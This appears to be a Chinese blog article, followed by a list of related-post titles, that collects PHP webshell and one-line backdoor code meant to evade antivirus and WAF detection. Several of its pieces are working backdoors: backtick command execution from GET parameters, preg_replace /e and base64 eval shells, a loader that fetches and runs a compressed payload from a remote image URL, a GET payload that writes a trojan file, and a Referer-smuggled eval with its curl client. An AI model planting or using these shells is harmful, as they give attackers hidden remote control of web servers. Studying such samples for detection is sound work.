一个最常见的一句话后门可能写作这样

或这样

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

构造生成,当然,嫌太直观可以写作这样

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精简

/*******************************************************

* 原理:PHP中``符号包含会当作系统命令执行

* 示例:http://host/?c=type%20config.php>config.txt

* 然后就可以下载config.txt查看内容了!

* 可以试试更变态的命令,不要干坏事哦!

*******************************************************/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft");

?>

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

error_reporting(0);

session_start();

header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))

$_SESSION['api']=substr(file_get_contents(

sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

无特征隐藏PHP一句话:

session_start();

$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);

$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );

?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门:

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门:

此方法用两个文件实现,文件1

//1.php

header( 'Content-type:text/html;charset=utf-8' );

parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );

if (reset( $a ) == '10' && count ( $a ) == 9) {

eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));

}

?>

文件2

//2.php

header( 'Content-type:text/html;charset=utf-8' );

//要执行的代码

$code = <<

phpinfo();

CODE;

//进行base64编码

$code = base64_encode ( $code );

//构造referer字符串

$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ;

//后门url

$url = 'http://localhost/test1/1.php ' ;

$ch = curl_init();

$options = array (

CURLOPT_URL => $url ,

CURLOPT_HEADER => FALSE,

CURLOPT_RETURNTRANSFER => TRUE,

CURLOPT_REFERER => $referer

);

curl_setopt_array( $ch , $options );

echocurl_exec( $ch );

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

php后门工具_教你识别简单的免查杀PHP后门相关推荐

  1. 更高明的黑客木马源码 免查杀 免检测的木马 一般人、任何杀毒软件 木马检测工具都探测不出来的木马病毒...

    这个木马,使用了更加高明的伪装手法! 可以轻易的避过一切 杀毒软件 . 木马检测软件 . 运维工程师 和 程序工程师 的 粗心 的检测! 真正做到了"免检""免查杀&qu ...

  2. 3389之永不查杀的后门shift后门代码

    永不查杀的3389后门其原理就是利用shift后门,连敲5次shift键既可以直接进入服务器. 前些天在群里有个小伙伴问了一句谁知道shift后门的代码,当时我给了他一个链接,我总是觉得这个百度下就能 ...

  3. Web简单快捷的指纹识别小工具_在线指纹识别平台设计

    Web 指纹识别 本文通过分析 Web 指纹的检测对象.检测方法.检测原理及常用工具,设计了一个简易的指纹搜集脚本来协助发现新指纹,并提取了多个开源指纹识别工具的规则库并进行了规则重组,开发了一个简单 ...

  4. Webshell河马后门查杀工具配合shell脚本实现多站点自动化查杀

    河马官网 https://www.shellpub.com/ 河马工具查杀的步骤特别简单 下载,解压,开始扫描,参考官网教程 https://www.shellpub.com/doc/hm_linux ...

  5. 简易修复工具_汽车划痕的简单修复法,你get了吗?

    汽车作为一种日常代步工具,在行驶过程中难免会刮刮蹭蹭,而"受伤",这些看起来或深或浅的"伤痕"总时令车主十分心疼.这些汽车划痕不仅影响汽车"颜值&qu ...

  6. web版本 开源压测工具_开源了一个简单的http服务压测工具Alex,自带web ui,golang实现...

    Alex是基于vegeta library和boom封装的压力测试web UI.Vegeta提供稳定的qps压力源,boom提供稳定的并发数压力源. github地址 https://github.c ...

  7. 怎么分辨是808鼓_教你怎么简单快速有效的分辨音箱的好坏 (小白必读)

    市场上家庭影院音响品牌众多,了解一些专业的音响知识很重要.我们该怎么简单快速的判断一套音响系统的好坏呢? 第一看外形: 纵观世界上各大知名音响品牌,外形上千奇百态,怎么区分好坏呢?很简单,但也很复杂. ...

  8. python 某个数是不是在某个范围内_教写一个简单的python小程序(04)

    点击蓝字 关注我们 会酸的柚子 Python爱好者 搞机少年 七夕结束了~ 酸柚也是被强塞了满嘴的狗粮 在这样充满恋爱腐朽气息的一天 酸柚也是马不停蹄的在赶稿子 兄弟们,给我顶起来呀~ 我们来看看今日 ...

  9. python golang 小工具_使用Go语言简单模拟Python的生成器

    def demo_input_and_output(): input = yield 'what is the input?' yield 'input is: %s' % input gen = d ...

最新文章

  1. [IoC容器Unity]第一回:Unity预览
  2. OSX Yosemite,pod install报错RPC failed; result=52,
  3. 对话系统(三)- 优化方法
  4. java编译找不到符号_关于久违的Javac,编译出现“找不到符号”
  5. css中用于设置首行文本缩进的属性是,css中设置段落缩进的属性是什么
  6. static关键字_void和void指针_函数指针
  7. 人人商城源码怎么安装MySQL_人人商城12个常见错误解决方案
  8. 厉害!一年两登顶刊的31岁浙大硕导荣获杰青!
  9. jpa的好伙伴QueryDSL快速入门
  10. 南京邮电大学计算机复试心得,南京邮电大学13年电路与系统考研复试心得小结...
  11. 常见的USB接口类型
  12. open modelica RLC仿真
  13. 问题处理——无法导航到插入符号下的符号
  14. ERA5 total precipitation的单位
  15. 微信会员卡与CRM打通
  16. 本机 ip 地址和本地ip地址的区别?
  17. 大脑构造图与功能解析_大脑的结构和功能?
  18. VS2019_Windows桌面应用程序_01
  19. isp,iap,sw-jtag
  20. Redis 3.2.3 crashed by signal: 11 服务宕机问题排查

热门文章

  1. 大数据蓝皮书:解读中国大数据发展十大趋势
  2. 推荐两款简单好用的扒站工具
  3. 视频监控系统及系统各节点设备理解和监控系统发展简介
  4. java 图片相似搜索_java获取两张图片的相似度
  5. 将拥有相同字段的数据项合并
  6. GPL协议与MIT开源协议的异同
  7. c语言---指针结构体篇
  8. multisim怎么设置晶体管rbe_multisim中添加大功率三极管的办法 multisim 三极管设置方法...
  9. php pdo oracle操作类,一个基于PDO的数据库操作类
  10. JavaWeb防止表单重复提交